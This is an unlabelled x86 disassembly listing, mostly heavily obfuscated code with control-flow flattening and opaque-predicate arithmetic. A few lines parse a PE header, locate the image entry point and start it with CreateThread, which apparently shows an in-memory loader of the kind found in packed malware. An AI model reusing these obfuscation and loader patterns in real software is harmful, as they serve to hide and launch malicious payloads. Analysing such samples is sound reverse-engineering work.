rcr ebx, 0x57
dec edx
sbb eax, 0x4b
sub ebx, 0x74
ror ebx, 0xee
dec ebx
bswap edi
rcl eax, 0x52
neg edx
sbb esi, 0x3e
add esi, 0x67
imul edx
inc edx
or edx, 2
bswap eax
neg esi
neg eax
rcr esi, 0x4f
add ebx, 0x9c
sbb edi, 0x6a
imul esi
sbb edx, 0x73
bswap edi
dec eax
sbb ebx, 0x80
not edi
not esi
imul edx
not ebx
add edi, 0x33
not eax
sbb edi, 0xd2
imul edx
sub edi, 0x54
rol eax, 0x3a
or edx, 0x9b
not eax
rol edi, 1
imul ebx
and edx, 0x27
inc ebx
inc esi
ror edx, 0x72
rol edx, 0x48
ror edx, 0x4e
inc edx
add edi, 0xb0
imul edx
ror edx, 0xb9
neg edi
dec ebx
add eax, 0x11
bswap edi
mov edx, 0x35
inc eax
rcl eax, 0xbb
not eax
neg ebx
inc ebx
dec ebx
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0xcc]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xcc]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x18]
mov dword [ecx], eax
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
cmp dword [eax], 0x4550
mov eax, 0x872ec8c9
setne byte [ebp - 0x9b]
jmp 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0xcf01300
mov esi, eax
mov edi, eax
or esi, 0x70004038
and edx, 0x7cf05338
and edi, 0x820f2444
and eax, 0x57b42445
or edi, edx
mov edx, ecx
and esi, 0x7cf05338
and edx, 0x1008883
and ecx, 0xa84bdbba
or edx, esi
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0x97c8513a
and esi, 0x6837aec5
or edx, esi
mov esi, edx
xor esi, 0x45842445
xor edx, 0x9a38cab8
mov edi, edx
and edi, 0xa84bdbba
and esi, 0x57b42445
or esi, edi
xor eax, esi
mov esi, 0x9b4ea69d
xor edx, eax
test edx, eax
setne dl
sete ah
cmp dword [0x493580], 0xa
setl cl
setge al
mov ch, cl
and dl, cl
or cl, ah
and al, ah
xor ch, ah
xor cl, 1
or al, dl
or cl, ch
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0xe3d83ec3
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, dl
jmp 0x411e0d
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 0x1a0]
mov dword [eax], ecx
mov eax, 0x4a91414a
jmp 0x4021f0
mov eax, dword [ebp - 0x84]
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
xor eax, 0xd09c7180
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0x2f638e7f
and ecx, 0xd09c7180
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
or edx, 0x40550d48
mov esi, eax
or esi, 0x3f205235
mov edi, eax
and edx, 0x7f755f7d
and edi, 0x80022082
or edi, edx
mov edx, ecx
and esi, 0x7f755f7d
and edx, 0x888000
and ecx, 0xab9fac6e
or edx, esi
xor edx, edi
mov esi, edx
not esi
and edx, 0x8227118e
and esi, 0x7dd8ee71
or edx, esi
mov esi, eax
and esi, 0x54605391
and eax, 1
or esi, ecx
xor edx, 0x3d056338
xor esi, 0xab9fac6f
or eax, esi
not eax
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x67c568d9
and edx, 0x983a9726
or edx, esi
mov esi, ecx
not esi
and ecx, 0x983a9726
or eax, esi
and esi, 0x67c568d9
or ecx, esi
not eax
mov esi, 0x28dda7a8
xor ecx, edx
or eax, ecx
setne dl
sete ch
cmp dword [0x493580], 0xa
setl ah
setge al
mov cl, ah
xor ah, ch
or ch, al
or cl, dl
mov dh, ch
xor dh, cl
or cl, ch
mov ch, al
or al, dl
xor al, 1
xor cl, 1
xor ch, dl
or al, ah
or cl, dh
xor al, 1
mov ah, cl
or al, ch
xor ah, 1
mov edx, eax
xor dl, 1
and dl, ah
or ah, al
and al, cl
or al, dl
mov edx, 0x317d5ea
mov ecx, eax
xor cl, ah
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0x317d5ea
cmovne edx, eax
test cl, 1
jmp 0x413161
mov eax, 0x63c4229b
jmp 0x4021f0
mov eax, 0x91475369
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0x10
mov eax, dword [ebp - 0x48]
mov eax, 0xdd9bd853
jmp 0x4021f0
mov eax, 0xdebffe0
jmp 0x4021f0
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x493584]
mov eax, dword [eax]
mov dword [ebp - 0x100], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
andn edx, eax, eax
not eax
and ecx, 0x968a7bb9
and eax, 0x69758446
or ecx, eax
xor ecx, 0x968a7bb9
or edx, ecx
mov eax, edx
mov esi, edx
xor esi, 0x556d49a0
not eax
and edx, 0xcf1b2408
mov ecx, eax
and esi, 0x556d49a1
and ecx, 0xaa92b65e
or ecx, esi
mov esi, eax
and esi, 0x30e4dbf7
and eax, 1
or esi, edx
mov edx, esi
xor edx, 0x8f112009
xor esi, 0x20804250
or eax, edx
and esi, 0x608a4650
and eax, 0x9f75b9af
or eax, esi
xor eax, 0x9f75b9af
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x501000
and eax, 0x100c2460
mov edx, ecx
or edx, 0x60024a1f
and esi, 0x60525a1f
and ecx, 0x8fa18180
and edx, 0x60525a1f
or ecx, esi
mov esi, 0x55303f78
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x852fbb01
and ecx, 0x7ad044fe
or eax, ecx
mov ecx, eax
xor ecx, 0x2a840098
xor eax, 0x108101
and eax, 0x4018f107
and ecx, 0xbfe70ef8
or ecx, eax
mov eax, ecx
xor eax, 0xea604e0
xor ecx, 0x4018b105
and ecx, 0xf159bb1d
and eax, 0xea644e2
or eax, ecx
xor eax, 0xea644e2
setne dl
sete ah
cmp dword [0x493580], 0xa
setge al
setl ch
mov cl, al
and ch, dl
xor cl, ah
xor cl, 1
or cl, al
and al, ah
xor cl, 1
or al, ch
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xa16de4b6
cmovne ecx, esi
test al, 1
mov eax, 0xa16de4b6
jmp 0x413940
mov eax, 0xc00244f1
jmp 0x4021f0
mov eax, 0x26fc1530
jmp 0x4021f0
cmp byte [ebp - 0xa1], 0
mov eax, 0x19ff68e1
mov ecx, 0x4a91414a
cmovne eax, ecx
jmp 0x4021f0
mov eax, 0x4909a92d
jmp 0x4021f0
mov eax, 0x9183876b
jmp 0x4021f0
push eax
mov eax, esp
mov dword [ebp - 0xd0], eax
mov eax, 0xbc177950
jmp 0x4021f0
mov eax, 0xf31ec134
jmp 0x4021f0
mov eax, dword [ebp - 0x20]
mov ecx, dword [0x493584]
mov eax, dword [eax]
mov dword [ebp - 0xc0], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
andn ecx, eax, eax
not eax
and edx, 0x90a12759
and eax, 0x6f5ed8a6
or edx, eax
xor edx, 0x90a12759
or ecx, edx
mov edx, ecx
xor edx, 1
mov eax, ecx
not eax
and edx, ecx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0xcb0e8c0c
mov esi, eax
and esi, 0x34f173f3
or edx, esi
mov esi, ecx
not esi
and ecx, 0xcb0e8c0c
or eax, esi
and esi, 0x34f173f3
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xc5832048
and eax, 0x18380605
mov edx, ecx
or edx, 0x24450b0
and esi, 0xc7c770f8
and ecx, 0x20008902
and edx, 0xc7c770f8
or ecx, esi
mov esi, 0xa191b6e5
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0xf5fb8c06
and ecx, 0xa0473f9
or eax, ecx
mov ecx, eax
xor ecx, 0x55370184
xor eax, 0x2000a00a
and ecx, 0x5d770bc5
and eax, 0xa288f43a
or eax, ecx
mov ecx, eax
xor ecx, 0x4c7303c0
xor eax, 0x9020
and eax, 0x11049825
and ecx, 0xeefb67da
or ecx, eax
xor ecx, 0xeefb67da
setne dl
sete al
cmp dword [0x493580], 0xa
mov ch, dl
setl ah
setge cl
mov dh, ah
or dl, ah
and ch, cl
and dh, al
xor al, ah
and al, ah
mov ah, dl
or dh, ch
xor al, 1
xor cl, dh
xor ah, al
or al, dl
and cl, dh
xor al, 1
or al, ah
mov edx, eax
xor dl, 1
mov ah, dl
and ah, cl
xor cl, 1
and al, cl
or cl, dl
or al, ah
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0xdf5e2d91
cmovne edx, esi
test cl, 1
mov ecx, 0xdf5e2d91
cmovne ecx, edx
test al, 1
cmove ecx, edx
mov eax, ecx
jmp 0x4021f0
mov eax, 0xad17cbf
jmp 0x4021f0
mov eax, 0x8ba40415
jmp 0x4021f0
mov eax, 0xd510f378
jmp 0x4021f0
mov eax, 0xb7fa137c
jmp 0x4021f0
mov ecx, dword [0x493584]
mov esi, 0x9ccc1e36
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0xffed60e5
and edx, 0xffed60e5
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xffed60e4
and edx, 0x129f1b
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne al
cmp dword [0x493580], 0xa
mov edx, eax
setge cl
or al, cl
xor dl, cl
xor al, 1
mov ecx, edx
xor cl, al
or al, dl
xor al, 1
or al, cl
mov edx, eax
xor dl, cl
test al, al
mov eax, 0x263ec725
cmovne eax, esi
test cl, cl
mov ecx, 0x263ec725
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x4021f0
cmp byte [ebp - 0xa5], 0
mov eax, 0x14cbfd2b
mov ecx, 0xcbfcd510
cmovne eax, ecx
jmp 0x4021f0
mov eax, dword [ebp - 0xbc]
mov ecx, dword [0x493584]
inc eax
mov dword [ebp - 0x18c], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa000
mov esi, edx
and esi, 0x8a2744a1
and edx, 0xdc664e49
or ecx, esi
mov esi, ecx
xor esi, 0xa000
xor ecx, 0xffff5fff
mov edi, ecx
and edi, 0xce520f04
and esi, 0x25e0a1
or esi, edi
mov edi, eax
xor edi, 0x8a27e4a1
and edi, eax
and eax, 0x2399b1b6
mov ebx, edi
not ebx
and edi, 0x31adf0fb
or eax, edx
or ecx, ebx
and ebx, 0xce520f04
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x8a27e4a0
and esi, 0x75d81b5f
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x76d2422d
mov esi, edx
and esi, 0x892dbdd2
or ecx, esi
mov esi, eax
xor esi, 0x22900024
xor eax, 0x88240c40
and eax, 0x892dbdd2
and esi, 0x76d2422d
or esi, eax
xor esi, ecx
not esi
or esi, edx
xor esi, 0xffffffff
mov esi, 0x417020a2
sete dl
setne cl
cmp dword [0x493580], 0xa
setl ah
mov al, ah
xor cl, ah
or al, dl
xor cl, 1
xor al, 1
or al, cl
mov ecx, edx
xor cl, ah
and dl, cl
and cl, ah
xor dl, 1
xor cl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
and cl, al
xor al, 1
xor dl, 1
mov ah, al
xor ah, dl
and dl, al
and ah, al
or dl, cl
mov ecx, 0xb3ac0cee
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, 1
jmp 0x411e0d
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x422d5681
and eax, 0x98820812
mov edx, ecx
and edx, 0x2010a128
or ecx, 0x2021d701
or esi, edx
and ecx, 0x2561d745
mov edx, esi
xor edx, 0x420c0080
xor esi, 0x25408144
or eax, ecx
and esi, 0x2561d745
and edx, 0x421c20a8
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0x3124626c
and ecx, 0xcedb9d93
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0x3090504
xor esi, 0xace66a3a
xor eax, 0x8440
mov ecx, esi
and ecx, 0xd052d0c9
and edx, 0x2fad2f36
or esi, 0x4322409b
and eax, 0x80448440
or edx, ecx
and esi, 0x7fba5b9b
mov ecx, edx
xor edx, 0xd052d0c9
xor ecx, 0x2fad2f36
or eax, esi
mov edi, edx
or edi, 0x3c981b00
mov ebx, ecx
and ebx, 0x12024
and edx, 0xce582ad0
and edi, 0x7fba5b9b
or ebx, edi
xor eax, ebx
mov esi, eax
not esi
and eax, 0xc47b25ec
and esi, 0x3b84da13
or eax, esi
mov esi, ecx
and esi, 0x31a7d52f
and ecx, 1
or esi, edx
mov edi, eax
xor edi, 0x86184010
xor eax, 0x78a7baad
mov edx, esi
xor edx, 0xce582ad1
xor esi, 0x3023c020
and edi, 0xbe3beab0
or ecx, edx
mov edx, eax
and edx, 0x41c4154f
and esi, 0xbe3beab0
or eax, ecx
and ecx, 0x41c4154f
or edi, edx
or esi, ecx
not eax
xor esi, edi
or eax, esi
mov esi, 0xdd9bd853
mov ecx, eax
not ecx
and eax, 0xbeb461e0
and ecx, 0x414b9e1f
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x86c6f11e
and ecx, 0x79390ee1
or eax, ecx
mov ecx, eax
xor ecx, 0x48c4300
xor eax, 0x842104e
and eax, 0xcb433c4f
and ecx, 0x34bcc3b0
or ecx, eax
mov eax, ecx
xor eax, 0x2404c280
xor ecx, 0x40403049
and ecx, 0x50f83179
and eax, 0xaf07ce86
or eax, ecx
cmp eax, 0xaf07ce86
setne cl
cmp dword [0x493580], 0xa
setl al
setge dl
xor al, cl
or dl, cl
mov ecx, eax
not cl
and cl, dl
xor dl, 1
mov ah, dl
xor ah, al
and al, dl
and ah, dl
or al, cl
mov cl, ah
xor cl, al
mov ecx, 0x4a130c31
cmovne ecx, esi
test al, al
mov edx, ecx
cmovne edx, esi
test ah, ah
jmp 0x41251a
mov eax, dword [ebp - 0x74]
mov dword [eax], 2
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x28004b02
and eax, 0x47af3e10
mov edx, ecx
and edx, 0x29010
mov edi, ecx
or edi, 0x2802db12
and ecx, 0xb850c1ef
or esi, edx
mov edx, edi
not edx
and edi, 0xd7fd24ec
or eax, ecx
xor esi, 0x28004b02
xor eax, 0x47af3e10
or edx, esi
and edx, 0x2802db13
or edx, edi
mov esi, edx
not esi
and edx, 0x88ed3492
and esi, 0x7712cb6d
or edx, esi
mov esi, 0x9fe288be
xor edx, 0x88ed3492
or eax, edx
xor eax, 0xffffffff
setne cl
sete ah
cmp dword [0x493580], 0xa
setge dl
setl al
mov ch, dl
or cl, al
xor al, ah
xor ch, ah
or ah, dl
and ch, dl
mov dh, ah
mov dl, ch
xor dh, cl
or cl, ah
xor ch, al
xor al, 1
xor dl, 1
xor cl, 1
or al, dl
or cl, dh
xor al, 1
mov edx, ecx
or al, ch
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x71f8753a
cmovne ecx, esi
test al, 1
mov eax, ecx
cmovne eax, esi
jmp 0x413943
mov eax, dword [ebp - 0x18]
mov eax, dword [eax]
mov eax, dword [eax + 0x28]
add eax, dword [ebp - 0x1d0]
push 0
push 0
push 0
push eax
push 0
push 0
vzeroupper
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0xb8]
mov dword [ecx], eax
mov ecx, 0x89b7bb1d
mov eax, dword [ebp - 0x78]
cmp byte [eax], 0
mov eax, 0xb543ff71
cmove eax, ecx
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, 0xd8000255
jmp 0x4021f0
mov eax, dword [ebp - 0x44]
mov dword [eax], 0
mov eax, 0x7269b9fa
jmp 0x4021f0
mov eax, dword [ebp - 0xb0]
mov eax, dword [eax]
mov dword [ebp - 0x180], eax
mov eax, dword [ebp - 0xac]
mov eax, dword [eax]
mov dword [ebp - 0x184], eax
mov eax, 0xd80d7a1
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x19a8329
and eax, 0x74456cd4
and ecx, 0x8a201002
or edx, ecx
xor edx, 0x19a8329
or eax, edx
mov ecx, eax
not ecx
and eax, 0x41555a98
and ecx, 0xbeaaa567
or eax, ecx
mov ecx, eax
mov edx, eax
xor edx, 0x1100244c
xor ecx, 0xcaefc9b3
xor eax, 0x19935ef4
mov esi, ecx
and edx, 0xd3c5e4ce
and esi, 0x2c3a1b31
and eax, ecx
or esi, edx
mov ecx, esi
mov edx, esi
xor ecx, 0x2c3a1b31
xor edx, 0xb97389
xor esi, 0xc1406444
and edx, ecx
and esi, 0xed727f44
or eax, edx
mov edx, eax
not edx
and eax, 0xd37c9746
and edx, 0x2c8368b9
or eax, edx
mov edx, ecx
and edx, 0x128d80bb
and ecx, 1
or edx, esi
mov esi, edx
xor esi, 0xe1503a45
xor edx, 0x100480ba
or ecx, esi
and edx, 0x1c26c5ba
and ecx, 0xe3d93a45
or ecx, edx
xor ecx, 0xe3d93a45
or ecx, eax
mov edx, ecx
xor edx, 0x619e65ee
mov eax, ecx
and eax, 0x219200a2
and edx, ecx
not ecx
and ecx, 0x400c654c
or eax, ecx
mov ecx, eax
xor ecx, 0x20100002
xor eax, 0xde6dff5d
mov esi, eax
and esi, 0x9d8f85e5
and ecx, 0x6010600a
or ecx, esi
mov esi, edx
not esi
and edx, 0x62707a1a
or eax, esi
and esi, 0x9d8f85e5
or edx, esi
not eax
mov esi, 0x9b9372df
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x619e65ee
and ecx, 0x9e619a11
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4bcdf054
and ecx, 0xb4320fab
or ecx, eax
xor ecx, 0xb4320fab
sete cl
setne ah
cmp dword [0x493580], 0xa
setl al
setge dl
mov ch, al
and al, ah
and ah, dl
and ch, cl
and cl, dl
or ch, ah
or al, cl
mov ah, ch
xor ah, dl
mov edx, eax
and ah, ch
xor dl, 1
mov cl, ah
mov ch, dl
xor cl, 1
and ch, ah
xor dl, cl
and cl, al
or al, ah
xor al, 1
or cl, ch
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x80c076de
cmovne edx, esi
test al, 1
mov eax, 0x80c076de
cmovne eax, edx
test cl, cl
cmove eax, edx
jmp 0x4021f0
mov eax, 0xf2bcf909
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0xfffffffe
andn edx, eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, edx
not eax
and edx, 0x32d44bd4
mov esi, eax
and esi, 0xcd2bb42b
or edx, esi
mov esi, ecx
not esi
and ecx, 0x32d44bd4
or eax, esi
and esi, 0xcd2bb42b
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0x88010083
and eax, 0x440a3038
mov edx, ecx
or edx, 0x22700744
and esi, 0xaa7107c7
and ecx, 0x1184c800
and edx, 0xaa7107c7
or ecx, esi
mov esi, 0x6fb3253a
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x8d2e094b
and ecx, 0x72d1f6b4
or eax, ecx
mov ecx, eax
xor ecx, 0x26020403
xor eax, 0x40012840
and eax, 0xd8d9ea4c
and ecx, 0x272615b3
or ecx, eax
xor ecx, 0xd8d9ea4c
sete ah
setne al
cmp dword [0x493580], 0xa
setge dl
setl ch
xor ch, al
xor al, dl
mov cl, ch
and al, ah
xor cl, dl
or dl, ah
xor al, 1
mov ah, al
or al, dl
and cl, ch
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
mov ah, cl
xor ah, 1
and dl, ah
xor dl, 1
mov ch, dl
or dl, ah
xor ch, ah
xor dl, 1
mov ah, cl
or dl, ch
xor ah, al
xor dl, al
or al, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x58ab012b
cmovne eax, esi
test dl, 1
mov edx, 0x58ab012b
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x880243
and ecx, 0xa060e1a0
mov edx, eax
and edx, 0x1b011408
or eax, 0x1890202
or esi, edx
and eax, 0x459f0a16
mov edx, esi
xor edx, 0x41
xor esi, 0x45170814
or ecx, eax
and esi, 0x459f0a16
and edx, 0x1a001449
or edx, esi
xor ecx, edx
mov eax, ecx
not eax
and ecx, 0x1b89164b
and eax, 0xe476e9b4
or ecx, eax
mov esi, ecx
not esi
mov edx, ecx
and edx, 1
and ecx, 0xd87f250a
mov eax, esi
and esi, 0xfffffffe
or eax, 1
or edx, esi
mov esi, eax
and esi, 0x2780daf4
or ecx, esi
mov esi, edx
not esi
and edx, 0xd87f250b
or eax, esi
and esi, 0x2780daf4
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0xc49aff9c
and edx, 0x3b650063
or edx, esi
mov esi, ecx
not esi
and ecx, 0x3b650063
or eax, esi
and esi, 0xc49aff9c
or ecx, esi
not eax
mov esi, 0x3774e647
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x9d897bc1
mov edx, ecx
and edx, 0x6276843e
or eax, edx
xor eax, 0x6276843e
xor ecx, eax
test ecx, eax
setne cl
sete ah
cmp dword [0x493580], 0xa
setge al
setl dl
mov ch, al
mov dh, dl
xor ch, ah
or dh, cl
and ch, al
and al, ah
xor ah, dl
and ah, cl
and cl, dl
xor ah, 1
or al, cl
mov cl, ch
mov bl, ah
or ah, dh
xor ch, al
xor cl, 1
xor al, 1
or al, cl
xor bl, dh
xor ah, 1
mov edx, 0xf01d686b
or ah, bl
xor al, 1
xor ah, 1
or al, ch
mov cl, ah
or ah, al
xor cl, al
mov al, ah
xor al, cl
test ah, 1
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0xf01d686b
jmp 0x412e2d
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
xor esi, 0xd1792c6b
andn edx, eax, esi
and esi, eax
mov ecx, esi
mov ebx, edx
not ecx
not ebx
and esi, 0x5aaec9fe
and edx, 0x5aaec9fe
mov edi, ecx
or ecx, ebx
and edi, 0xa5513601
and ebx, 0xa5513601
or esi, edi
or edx, ebx
not ecx
xor edx, esi
mov esi, eax
not esi
or ecx, edx
and esi, 0xbc500c9d
mov edx, ecx
not edx
and ecx, 0x74ceae4e
and edx, 0x8b3151b1
or ecx, edx
mov edx, eax
and edx, 0x43aff362
and eax, 1
or edx, esi
xor ecx, 0x5a487ddb
mov esi, edx
xor esi, 0x3c500c00
xor edx, 0x2010340
or eax, esi
and edx, 0x820103dc
mov esi, 0x1f374593
and eax, 0x7dfefc23
or eax, edx
xor eax, 0x7dfefc23
or eax, ecx
mov edx, eax
xor edx, 0xf8fe1fe8
mov ecx, eax
and ecx, 0xe0fc1968
and edx, eax
not eax
and eax, 0x18020680
or ecx, eax
xor ecx, 0xe0fc1968
or ecx, edx
not edx
and edx, 0x701e017
and ecx, 0xf8fe1fe8
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x9dc6639d
and eax, 0x62399c62
or eax, ecx
mov ecx, eax
xor ecx, 0x8540210c
xor eax, 0x20000822
and eax, 0x38864ab3
and ecx, 0xc779b54c
or ecx, eax
xor ecx, 0xc779b54c
sete ah
setne ch
cmp dword [0x493580], 0xa
setge al
setl dl
mov cl, al
and al, ah
xor cl, ch
and ch, dl
or dl, ah
or al, ch
mov ah, dl
xor al, 1
xor ah, al
or al, dl
mov edx, 0x66720cb6
not al
or al, ah
xor al, cl
and al, 1
cmovne edx, esi
test al, cl
mov ecx, 0x66720cb6
cmove edx, esi
cmovne edx, ecx
test al, al
cmove edx, ecx
mov eax, edx
jmp 0x4021f0
mov eax, dword [ebp - 0x84]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x54]
mov ecx, dword [ecx]
mov eax, dword [eax + ecx*4]
mov dword [ebp - 0x19c], eax
mov eax, 0xd3cd3e1c
jmp 0x4021f0
mov eax, dword [ebp - 0x24]
mov dword [eax], 0xc
mov eax, 0x33f140ea
jmp 0x4021f0
mov eax, dword [0x493584]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov eax, ecx
xor eax, 0xb9e41091
not edx
mov esi, edx
and eax, ecx
and esi, 0xb9e41091
and edx, 0xa10532ba
and ecx, 0x5efacd45
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0xb9e41090
and esi, 0x461bef6f
or eax, esi
mov esi, eax
not esi
and eax, 0x3f673ceb
and esi, 0xc098c314
or eax, esi
mov esi, eax
xor esi, 0x136010ab
xor eax, 0xc098c314
mov edx, eax
and edx, 0xac0fae54
and esi, 0x53f051ab
or esi, edx
mov edx, ecx
xor edx, 0x52f04101
xor ecx, 0xa10532ba
or eax, ecx
and ecx, 0xac0fae54
and edx, 0x53f051ab
or edx, ecx
not eax
xor edx, esi
mov esi, 0x41d1c3d2
or eax, edx
mov ecx, eax
not ecx
and eax, 0x449d5405
and ecx, 0xbb62abfa
or eax, ecx
xor eax, 0x449d5405
setne dl
sete ah
cmp dword [0x493580], 0xa
setl ch
setge al
or ch, dl
mov cl, al
or al, ah
mov dl, ch
xor cl, ah
xor dl, al
or al, ch
and cl, ah
xor al, 1
xor cl, 1
or al, dl
mov edx, ecx
xor al, 1
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x8dff87c8
cmovne ecx, esi
test al, 1
mov esi, 0x8dff87c8
mov eax, ecx
cmovne eax, esi
test dl, 1
cmovne eax, ecx
jmp 0x4021f0
mov eax, 0xef22fcac
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x40ae19ad
mov esi, edx
and esi, 0xbf51e652
and edx, 0x3064c598
or ecx, esi
mov esi, ecx
xor ecx, 0x82512650
xor esi, 0x20
or ecx, 0x7d2cd98f
and esi, 0x80102020
mov edi, ecx
and edi, 0x17efded2
or esi, edi
mov edi, eax
xor edi, 0x82d32670
and edi, eax
and eax, 0xcf9b3a67
mov ebx, edi
not ebx
and edi, 0xe810212d
or eax, edx
or ecx, ebx
and ebx, 0x17efded2
xor eax, 0xcf9b3a67
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0xb7c6d18
mov esi, ecx
not esi
and ecx, 0xbc47246d
and esi, 0x43b8db92
or ecx, esi
mov esi, 0x2bfa947
xor ecx, 0xc16bfde3
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x299e6c90
and ecx, 0xd661936f
or eax, ecx
xor eax, 0x299e6c90
sete cl
setne dl
cmp dword [0x493580], 0xa
setge ah
setl al
and cl, ah
or ah, dl
and al, dl
xor ah, 1
or al, cl
mov cl, ah
xor cl, al
or al, ah
xor al, 1
mov edx, ecx
or al, cl
xor dl, al
not dl
test dl, 1
cmovne edi, esi
test al, al
mov eax, 0x2bfa947
cmovne eax, edi
test cl, cl
cmove eax, edi
jmp 0x4021f0
mov ecx, dword [0x493584]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
xor ecx, 0xd814c941
mov edx, eax
not edx
and ecx, eax
or eax, 0x27eb36be
and edx, 0x18148100
mov esi, eax
and esi, 0xe14b7875
or edx, esi
mov esi, ecx
not esi
and ecx, 0x1eb4878a
or eax, esi
and esi, 0xe14b7875
or ecx, esi
not eax
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x576114f9
and ecx, 0xa89eeb06
or eax, ecx
mov edx, eax
mov esi, eax
xor edx, 0xe759c30
xor esi, 0x708a2247
xor eax, 0x83459c28
mov ecx, esi
or ecx, 1
and esi, 0xc18261c8
and edx, 0x3e7d9e37
and eax, 0xe3c79e6e
or edx, esi
mov esi, ecx
and esi, 0x1c386190
or eax, esi
mov esi, edx
xor esi, 0x22459e26
xor edx, 0xc18261c9
or ecx, edx
and edx, 0x1c386190
and esi, 0xe3c79e6f
or esi, edx
not ecx
xor esi, eax
or ecx, esi
mov esi, 0x6ad8df24
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xd3f05b49
and eax, 0x2c0fa4b6
or eax, edx
xor eax, 0x2c0fa4b6
or eax, ecx
xor eax, 0xffffffff
setne dl
sete al
cmp dword [0x493580], 0xa
